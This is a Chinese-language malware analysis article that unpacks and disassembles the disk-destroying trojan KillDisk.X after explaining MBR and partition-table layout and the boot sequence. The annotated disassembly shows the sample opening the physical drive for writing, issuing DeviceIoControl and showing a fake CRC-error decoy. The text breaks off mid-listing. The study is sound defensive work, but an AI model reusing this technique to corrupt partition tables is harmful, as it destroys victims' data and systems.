网络安全 频道

Trojan.Win32.KillDisk.X(Dirshell)拆解

文章作者:crazy4stef
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

前些天弄到一个病毒,这个病毒可以破坏硬盘的分区表,把分区表弄成循环状态,造成电脑无法启动.
开机时提示:Invalid partiton table(分区表无效)
手头有个人家写好的,但是我并不知道如何实现的.就决定把他给拆开来看看里面到底有什么.
先来看看硬盘的MBR结构和开机过程

Boot Sector 结构简介
  1. Boot Sector 的组成
  Boot Sector 也就是硬盘的第一个扇区, 它由 MBR (Master Boot Record),DPT (Disk Partition Table) 和 Boot Record ID(Magic Number) 三部分组成。
  MBR 又称作主引导记录,占用 Boot Sector 的前 446 个字节 ( 0 to 0x1BD ),包含了硬盘的一系列参数和一段系统主引导程序。引导程序主要是用来在系统硬件自检完后负责从活动分区中装载并运行系统引导程序(引导操作系统)。它的最后一条执行语句是一条JMP指令,跳到操作系统的引导程序去。这里往往是引导型病毒的注入点,也是各种多系统引导程序的注入点。但是由于引导程序本身完成的功能比较简单,所以我们完全可以判断该引导程序的合法性(比如看JMP指令的合法性),因而也易于修复。象命令fdisk/mbr可以修复MBR和KV300这类软件可以查杀任意类型的引导型病毒,就是这个道理。
  DPT 即主分区表,占用 64 个字节 (0x1BE to 0x1FD),记录了磁盘的基本分区信息。主分区表分为四个分区项, 每项 16 字节, 分别记录了每个主分区的信息(因此最多可以有四个主分区)。
  Boot Record ID 即引导区标记,占用两个字节 (0x1FE and 0x1FF), 对于合法引导区, 它等于 0xAA55, 这是判别引导区是否合法的标志.
  Boot Sector 的具体结构如下图所示:
  

=800) window.open(''http://sy0.img.it168.com/it168_default.png'');" src="http://sy0.img.it168.com/it168_default.png" onload="if(this.width>''800'')this.width=''800'';if(this.height>''800'')this.height=''800'';" border=0>
  2. 主分区表的结构
  主分区表由四个分区项构成, 每一项的结构如下:
  BYTE State : 分区状态, 0 = 未激活, 0x80 = 激活 (注意此项)
  BYTE StartHead : 分区起始磁头号
  WORD StartSC : 分区起始扇区和柱面号, 低字节的低6位为扇区号,高2位为柱面号的第 9,10 位, 高字节 为柱面号的低 8 位
  BYTE Type : 分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
  BYTE EndHead : 分区结束磁头号
  WORD EndSC : 分区结束扇区和柱面号, 定义同前
  DWORD Relative : 在线性寻址方式下的分区相对扇区地址 (对于基本分区即为绝对地址)
  DWORD Sectors : 分区大小 (总扇区数)
  注意:在 DOS /
Windows 系统下, 基本分区必须以柱面为单位划分( Sectors * Heads 个扇区), 如对于 CHS 为 764/255/63 的硬盘, 分区的最小尺寸为 255 * 63 * 512 / 1048576 = 7.844 MB。
  3. 扩展分区简介
  由于主分区表中只能分四个分区, 有时无法满足需求, 因此设计了一种扩展分区格式。 基本上说, 扩展分区的信息是以链表形式存放的, 但也有一些特别的地方。
  首先,主分区表中要有一个基本扩展分区项, 所有扩展分区都隶属于它,也就是说其他所有扩展分区的空间都必须包括在这个基本扩展分区中。 对于DOS /
Windows 来说, 扩展分区的类型为 0x05。
  除基本扩展分区以外的其他所有扩展分区则以链表的形式级联存放, 后一个扩展分区的数据项记录在前一个扩展分区的分区表中, 但两个扩展分区的空间并不重叠。
  扩展分区类似于一个完整的硬盘, 必须进一步分区才能使用。但每个扩展分区中只能存在一个其他分区, 此分区在 DOS/
Windows 环境中即为逻辑盘。因此每一个扩展分区的分区表 (同样存储在扩展分区的第一个扇区中)中最多只能有两个分区数据项(包括下一个扩展分区的数据项)。
  扩展分区和逻辑盘的示意图如下:

=800) window.open(''http://sy0.img.it168.com/it168_default.png'');" src="http://sy0.img.it168.com/it168_default.png" onload="if(this.width>''800'')this.width=''800'';if(this.height>''800'')this.height=''800'';" border=0>   
  三. 系统启动过程简介
  系统启动过程主要由一下几步组成(以硬盘启动为例):
  1. 开机;
  2. BIOS 加电或按reset键后都要进行系统复位,复位后指令地址为 0ffff:fff0,这个地方只有一条JMP指令, 跳转到系统自检 ( Power On Self Test -- POST )程序处;
  3. 系统自检完成后,将硬盘的第一个扇区 (0头0道1扇区, 也就是Boot Sector)读入内存地址 0000:7c00 处;
  4. 检查 (WORD) 0000:7dfe 是否等于 0xaa55, 若不等于则转去尝试其他启动介质, 如果没有其他启动介质 则显示 "No ROM BASIC" 然后死机;
  5. 跳转到 0000:7c00 处执行 MBR 中的程序;
  6. MBR程序 首先将自己复制到 0000:0600 处, 然后继续执行;
  7. 在主分区表中搜索标志为活动的分区,如果没有发现活动分区或有不止一个活动分区, 则转停止;
  8. 将活动分区的第一个扇区读入内存地址 0000:7c00 处;

这个病毒就是利用这里的死循环,使电脑无法启动的

  9. 检查 (WORD) 0000:7dfe 是否等于 0xaa55, 若不等于则 显示 "Missing Operating System" 然后停止, 或尝 试软盘启动或;
  10. 跳转到 0000:7c00 处继续执行特定系统的启动程序;
  11. 启动系统...
  以上步骤中 2,3,4,5 步是由 BIOS 的引导程序完成. 6,7,8,9,10步由MBR中的引导程序完成.
  一般多系统引导程序 (如 SmartFDISK, BootStar, PQBoot 等)都是将标准主引导记录替换成自己的引导程序, 在运行系统启动程序之前让用户选择要启动的分区。
  而某些系统自带的多系统引导程序 (如 lilo, NT Loader 等)则可以将自己的引导程序放在系统所处分区的第一个扇区中, 在 Linux中即为 SuperBlock (其实 SuperBlock 是两个扇区)。


先查壳,发现PEID无法识别,看看段名,其中有个叫木马彩衣的,就知道应该不难脱壳的 :)
OD载入,向下走几步,出现ESP,

=800) window.open(''http://sy0.img.it168.com/it168_default.png'');" src="http://sy0.img.it168.com/it168_default.png" onload="if(this.width>''800'')this.width=''800'';if(this.height>''800'')this.height=''800'';" border=0>
CODE:
00408002 > 61         popad                     ; 停在这里
00408003   EB 06       jmp   short 0040800B
00408005 - E0 EB       loopdne short 00407FF2
00408007   00EB         add   bl, ch
00408009   03E8         add   ebp, eax
0040800B ^ EB F9       jmp   short 00408006
0040800D   60         pushad
0040800E   E8 00000000   call   00408013             ; ESP定律
[Copy to clipboard]


=800) window.open(''http://sy0.img.it168.com/it168_default.png'');" src="http://sy0.img.it168.com/it168_default.png" width=800 onload="if(this.width>''800'')this.width=''800'';if(this.height>''800'')this.height=''800'';" border=0>
CODE:

004083B2   /EB 04       jmp   short 004083B8
004083B4   |61         popad
004083B5 ^|EB FB       jmp   short 004083B2         ; 断在这里
004083B7 ^|EB EB       jmp   short 004083A4
004083B9   0068 35       add   [eax+35], ch
[Copy to clipboard]


CODE:
00407035   55         push   ebp                 ; 到OEP了
00407036   8BEC         mov   ebp, esp
00407038   6A FF       push   -1
0040703A   68 00000000   push   0
0040703F   68 00000000   push   0
[Copy to clipboard]


接着用OD直接DUMP出来就可以了.查壳,Microsoft Visual C++ 6.0,VC写的,跟进去看看吧.

=800) window.open(''http://sy0.img.it168.com/it168_default.png'');" src="http://sy0.img.it168.com/it168_default.png" onload="if(this.width>''800'')this.width=''800'';if(this.height>''800'')this.height=''800'';" border=0>

CODE:
00407035 > 55       push   ebp
00407036   8BEC       mov   ebp, esp
00407038   6A FF     push   -1
0040703A   68 00000000   push   0
0040703F   68 00000000   push   0
00407044   64:A1 00000000 mov   eax, fs:[0]
0040704A   50       push   eax
0040704B   64:8925 0000000>mov   fs:[0], esp
00407052   83EC 68     sub   esp, 68
00407055   53       push   ebx
00407056   56       push   esi
00407057   57       push   edi
00407058   58       pop   eax
00407059   58       pop   eax
0040705A   58       pop   eax
0040705B   83C4 68     add   esp, 68
0040705E   58       pop   eax
0040705F   67:64:A3 0000   mov   fs:[0], eax
00407064   58       pop   eax
00407065   58       pop   eax
00407066   58       pop   eax
00407067   58       pop   eax
00407068   8BE8       mov   ebp, eax
0040706A   E8 71A2FFFF   call   004012E0             ; 关键call,跟进



004012E0 /. 55       push   ebp
004012E1 |. 8BEC     mov   ebp, esp
004012E3 |. 6A FF     push   -1
004012E5 |. 68 D8404000   push   004040D8
004012EA |. 68 141E4000   push   00401E14             ; SE handler installation
004012EF |. 64:A1 0000000>mov   eax, fs:[0]
004012F5 |. 50       push   eax
004012F6 |. 64:8925 00000>mov   fs:[0], esp
004012FD |. 83EC 58   sub   esp, 58
00401300 |. 53       push   ebx
00401301 |. 56       push   esi
00401302 |. 57       push   edi
00401303 |. 8965 E8   mov   [ebp-18], esp
00401306 |. FF15 58404000 call   [<&kernel32.GetVersion>]       ; kernel32.GetVersion
0040130C |. 33D2     xor   edx, edx
0040130E |. 8AD4     mov   dl, ah
00401310 |. 8915 34554000 mov   [405534], edx
00401316 |. 8BC8     mov   ecx, eax
00401318 |. 81E1 FF000000 and   ecx, 0FF
0040131E |. 890D 30554000 mov   [405530], ecx
00401324 |. C1E1 08   shl   ecx, 8
00401327 |. 03CA     add   ecx, edx
00401329 |. 890D 2C554000 mov   [40552C], ecx
0040132F |. C1E8 10   shr   eax, 10
00401332 |. A3 28554000   mov   [405528], eax
00401337 |. 33F6     xor   esi, esi
00401339 |. 56       push   esi
0040133A |. E8 A1090000   call   00401CE0
0040133F |. 59       pop   ecx
00401340 |. 85C0     test   eax, eax
00401342 |. 75 08     jnz   short 0040134C
00401344 |. 6A 1C     push   1C
00401346 |. E8 B0000000   call   004013FB
0040134B |. 59       pop   ecx
0040134C |> 8975 FC   mov   [ebp-4], esi
0040134F |. E8 E1070000   call   00401B35
00401354 |. FF15 54404000 call   [<&kernel32.GetCommandLineA>]   ; [GetCommandLineA
0040135A |. A3 385A4000   mov   [405A38], eax
0040135F |. E8 9F060000   call   00401A03
00401364 |. A3 10554000   mov   [405510], eax
00401369 |. E8 48040000   call   004017B6
0040136E |. E8 8A030000   call   004016FD
00401373 |. E8 A7000000   call   0040141F
00401378 |. 8975 D0   mov   [ebp-30], esi
0040137B |. 8D45 A4   lea   eax, [ebp-5C]
0040137E |. 50       push   eax               ; /pStartupinfo
0040137F |. FF15 50404000 call   [<&kernel32.GetStartupInfoA>]   ; \GetStartupInfoA
00401385 |. E8 1B030000   call   004016A5
0040138A |. 8945 9C   mov   [ebp-64], eax
0040138D |. F645 D0 01   test   byte ptr [ebp-30], 1
00401391 |. 74 06     je   short 00401399
00401393 |. 0FB745 D4   movzx   eax, word ptr [ebp-2C]
00401397 |. EB 03     jmp   short 0040139C
00401399 |> 6A 0A     push   0A
0040139B |. 58       pop   eax
0040139C |> 50       push   eax
0040139D |. FF75 9C   push   dword ptr [ebp-64]
004013A0 |. 56       push   esi
004013A1 |. 56       push   esi               ; /pModule
004013A2 |. FF15 4C404000 call   [<&kernel32.GetModuleHandleA>]   ; \GetModuleHandleA
004013A8 |. 50       push   eax
004013A9 |. E8 22FFFFFF   call   004012D0             ; 破坏分区表,跟进


004012D0 /$ E8 ABFFFFFF   call   00401280             ; 继续跟进
004012D5 |. 33C0     xor   eax, eax
004012D7 \. C2 1000   retn   10

00401280 /$ 81EC 94000000 sub   esp, 94
00401286 |. 8D4424 00   lea   eax, [esp]
0040128A |. C74424 00 940>mov   dword ptr [esp], 94
00401292 |. 50       push   eax               ; /pVersionInformation
00401293 |. FF15 28404000 call   [<&kernel32.GetVersionExA>]     ; \GetVersionExA
00401299 |. 85C0     test   eax, eax
0040129B |. 74 10     je   short 004012AD
0040129D |. 837C24 10 02 cmp   dword ptr [esp+10], 2
004012A2 |. 75 1A     jnz   short 004012BE
004012A4 |. E8 E7FDFFFF   call   00401090             ; 程序最主要部分,跟进
004012A9 |. 85C0     test   eax, eax
004012AB |. 75 11     jnz   short 004012BE
004012AD |> 6A 10     push   10               ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
004012AF |. 6A 00     push   0               ; |Title = NULL
004012B1 |. 68 8C504000   push   0040508C             ; |Text = "文件CRC效验错误"
004012B6 |. 6A 00     push   0               ; |hOwner = NULL
004012B8 |. FF15 C4404000 call   [<&user32.MessageBoxA>]       ; \MessageBoxA
004012BE |> 81C4 94000000 add   esp, 94
004012C4 \. C3       retn


00401090 /$ 83EC 60   sub   esp, 60
00401093 |. 8D4424 20   lea   eax, [esp+20]
00401097 |. 53       push   ebx
00401098 |. 55       push   ebp
00401099 |. 56       push   esi
0040109A |. 57       push   edi
0040109B |. 68 78504000   push   00405078             ; /Format = "\\.\PHYSICALDRIVE0"
004010A0 |. 50       push   eax               ; |s
004010A1 |. FF15 CC404000 call   [<&user32.wsprintfA>]       ; \wsprintfA 格式化字符串
004010A7 |. 83C4 08   add   esp, 8
004010AA |. 8D4C24 30   lea   ecx, [esp+30]
004010AE |. 6A 00     push   0               ; /hTemplateFile = NULL
004010B0 |. 6A 00     push   0               ; |Attributes = 0
004010B2 |. 6A 03     push   3               ; |Mode = OPEN_EXISTING
004010B4 |. 6A 00     push   0               ; |pSecurity = NULL
004010B6 |. 6A 03     push   3               ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004010B8 |. 68 000000C0   push   C0000000             ; |Access = GENERIC_READ|GENERIC_WRITE
004010BD |. 51       push   ecx               ; |FileName
004010BE |. FF15 44404000 call   [<&kernel32.CreateFileA>]     ; \CreateFileA
004010C4 |. 8BF0     mov   esi, eax
004010C6 |. 83FE FF   cmp   esi, -1
004010C9 |. 0F84 A5010000 je   00401274             ; 打开设备出错,或者权限不够
004010CF |. 8D5424 10   lea   edx, [esp+10]
004010D3 |. 8B1D 20404000 mov   ebx, [<&kernel32.DeviceIoControl>] ; kernel32.DeviceIoControl
004010D9 |. 6A 00     push   0               ; /pOverlapped = NULL
004010DB |. 52       push   edx               ; |pBytesReturned
004010DC |. 6A 00     push   0               ; |OutBufferSize = 0
004010DE |. 6A 00     push   0               ; |OutBuffer = NULL
004010E0 |. 6A 00     push   0               ; |InBufferSize = 0
004010E2 |. 6A 00     push   0               ; |InBuffer = NULL
004010E4 |. 68 18000900   push   90018               ; |IoControlCode = Fs
0
相关文章